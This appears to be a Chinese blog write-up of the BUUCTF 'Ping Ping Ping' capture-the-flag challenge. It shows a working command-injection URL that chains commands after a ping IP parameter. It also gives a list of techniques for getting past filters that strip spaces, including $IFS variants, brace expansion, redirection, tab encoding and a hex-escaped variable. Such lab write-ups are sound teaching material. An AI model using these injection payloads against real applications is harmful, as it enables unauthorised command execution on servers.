buuctf:Ping Ping Ping(命令执行)

这道题就是很迷,反正需要绕过很多符号,最后用了这个http://d2751aa8-0309-464e-87d6-2829eda800b1.node4.buuoj.cn:81/?ip=127.0.0.1||$a=ag.php;$b=fl;cat$IFS`ls`;
暴出来了。中间最主要的想法就是绕过空格,然后用了$IFS的方法。

$IFS是内部域分隔符,默认是空格、换行符等。可以进行修改,如下图所示:


绕过空格
其实我们可以用一些字符来代替空格,windows系统与linux系统有些差异。
Windows:
type.\flag.txt
type,flag.txt
echo,123456

linux:
{cat,flag.txt} 
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat$IFS$1flag.txt
cat<flag.txt
%09替换
cat<>flag.txt
kg=$'\x20flag.txt'&&cat$kg
(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)

这里还要纠正一个误区linux的``反引号,比如`echo cat flag`,这个会执行,得到结果是 cat flag 。这个cat flag如果你在命令行按了下回车,那么肯定就是输出了flag的内容了,而并不是将里面的东西执行两次,这一定要注意!就是把反引号里面的东西执行了作为输出罢了!!


后面测试发现下面这样也可以行。linux中$+数字 比如$1代表传给脚本的第一个参数,如果是在shell中直接执行的话是空。

 

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值